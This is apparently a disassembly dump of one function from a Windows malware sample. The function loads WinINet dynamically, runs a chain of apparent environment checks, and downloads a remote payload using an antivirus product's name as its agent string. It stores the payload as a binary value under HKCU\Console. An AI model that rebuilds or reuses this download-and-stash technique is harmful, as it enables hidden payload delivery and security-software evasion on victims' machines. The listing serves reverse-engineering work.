Function at 0x140003f00
Capabilities:
Set registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x70
mov rbp, rcx
mov ecx, 0x64000
call fcn.14000a1b8
lea rcx, str.wininet.dll
mov dword [rsp + 0x98], 1
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x140003f48
mov rcx, rdi
call fcn.14000bbc4
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x68], r12
lea rdx, str.InternetOpenW
mov rcx, rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetOpenUrlW
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetReadFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.InternetCloseHandle
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r12, r12
je 0x14000425a
test rsi, rsi
je 0x14000425a
test r14, r14
je 0x14000425a
test rax, rax
je 0x14000425a
mov ecx, 0x1f4
mov qword [rsp + 0x50], r15
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001090
test eax, eax
je 0x140003fed
call section..text
call fcn.140001140
test eax, eax
je 0x140003ffb
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140004009
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140004017
call section..text
call section..text
test eax, eax
je 0x140004025
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140004033
call section..text
call section..text
test eax, eax
je 0x140004041
call fcn.1400011f0
call fcn.140001140
test eax, eax
je 0x14000404f
call fcn.1400011f0
call fcn.1400012a0
test eax, eax
je 0x14000405d
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x14000406b
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140004079
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140004087
call fcn.1400012a0
call fcn.140001140
test eax, eax
je 0x140004095
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x1400040a3
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x1400040b1
call section..text
call fcn.140001350
test eax, eax
je 0x1400040bf
call fcn.140001090
lea rcx, str.huorong
xor r15d, r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r15d
call r12
mov r12, rax
test rax, rax
je 0x14000424b
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
call rsi
mov rbp, rax
test rax, rax
je 0x140004245
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xa0]
lea rdx, str.Console
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000423f
mov ebx, r15d
mov esi, r15d
cmp dword [rsp + 0x98], ebx
jbe 0x14000420a
nop word [rax + rax]
mov r8d, 0x64000
mov edx, ebx
lea r9, [rsp + 0x98]
sub r8d, ebx
add rdx, rdi
mov rcx, rbp
call r14
mov r11d, dword [rsp + 0x98]
test r11d, r11d
je 0x1400041dd
add ebx, r11d
cmp ebx, 0x64000
jne 0x1400041d8
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r11d, dword [rsp + 0x98]
add esi, ebx
mov ebx, r15d
test r11d, r11d
jne 0x140004170
test ebx, ebx
je 0x14000420a
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add esi, ebx
mov rcx, qword [rsp + 0xa0]
lea rdx, str.huorongqnmlb
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call r13
mov rcx, r12
call r13
mov rcx, rdi
call fcn.14000bbc4
mov r15, qword [rsp + 0x50]
jmp 0x14000426b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rdi
call fcn.14000bbc4
mov r13, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x90]
mov r14, qword [rsp + 0x58]
add rsp, 0x70
pop rdi
pop rbp
pop rbx
ret